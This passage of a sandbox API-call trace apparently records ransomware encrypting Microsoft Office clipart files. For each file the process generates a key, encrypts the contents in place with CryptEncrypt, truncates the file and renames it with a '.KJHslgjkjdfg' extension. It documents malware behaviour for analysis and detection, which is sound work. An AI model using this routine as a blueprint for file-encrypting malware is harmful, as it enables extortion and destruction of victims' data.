office\\clipart\\pub60cor\\na02264_.wmf.kjhslgjkjdfg")) returned 1 [0205.834] CloseHandle (hObject=0x130) returned 1 [0205.834] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0205.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.835] GetProcessHeap () returned 0x990000 [0205.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.835] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.836] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.837] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.837] GetProcessHeap () returned 0x990000 [0205.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.837] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.837] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.837] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.837] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.837] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.837] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.837] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.837] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.837] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe14, lpOverlapped=0x0) returned 1 [0205.837] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20, dwBufLen=0xe20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20) returned 1 [0205.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.838] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe20, lpOverlapped=0x0) returned 1 [0205.838] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.838] SetEndOfFile (hFile=0x130) returned 1 [0205.840] GetProcessHeap () returned 0x990000 [0205.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.840] GetProcessHeap () returned 0x990000 [0205.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.kjhslgjkjdfg")) returned 1 [0205.841] CloseHandle (hObject=0x130) returned 1 [0205.841] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0205.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.842] GetProcessHeap () returned 0x990000 [0205.842] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.842] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.845] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.845] GetProcessHeap () returned 0x990000 [0205.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.845] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.845] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.845] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.845] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.845] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.845] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.845] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.846] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.846] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17c4, lpOverlapped=0x0) returned 1 [0205.847] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17d0, dwBufLen=0x17d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17d0) returned 1 [0205.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.847] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17d0, lpOverlapped=0x0) returned 1 [0205.847] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.847] SetEndOfFile (hFile=0x130) returned 1 [0205.849] GetProcessHeap () returned 0x990000 [0205.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.849] GetProcessHeap () returned 0x990000 [0205.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.kjhslgjkjdfg")) returned 1 [0205.850] CloseHandle (hObject=0x130) returned 1 [0205.850] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0205.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.852] GetProcessHeap () returned 0x990000 [0205.852] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.852] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.853] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.854] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.854] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.854] GetProcessHeap () returned 0x990000 [0205.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.854] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.854] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.854] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.854] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.854] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.855] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.855] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.855] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd28, lpOverlapped=0x0) returned 1 [0205.855] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd30, dwBufLen=0xd30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd30) returned 1 [0205.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.855] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd30, lpOverlapped=0x0) returned 1 [0205.855] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.855] SetEndOfFile (hFile=0x130) returned 1 [0205.855] GetProcessHeap () returned 0x990000 [0205.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.855] GetProcessHeap () returned 0x990000 [0205.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.kjhslgjkjdfg")) returned 1 [0205.856] CloseHandle (hObject=0x130) returned 1 [0205.856] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0205.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.857] GetProcessHeap () returned 0x990000 [0205.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.857] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.857] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.859] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.859] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.860] GetProcessHeap () returned 0x990000 [0205.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.860] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.860] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.860] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.861] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc74, lpOverlapped=0x0) returned 1 [0205.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc80, dwBufLen=0xc80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc80) returned 1 [0205.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.861] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc80, lpOverlapped=0x0) returned 1 [0205.861] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.861] SetEndOfFile (hFile=0x130) returned 1 [0205.863] GetProcessHeap () returned 0x990000 [0205.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.863] GetProcessHeap () returned 0x990000 [0205.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.kjhslgjkjdfg")) returned 1 [0205.865] CloseHandle (hObject=0x130) returned 1 [0205.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0205.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.866] GetProcessHeap () returned 0x990000 [0205.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.866] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.866] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, 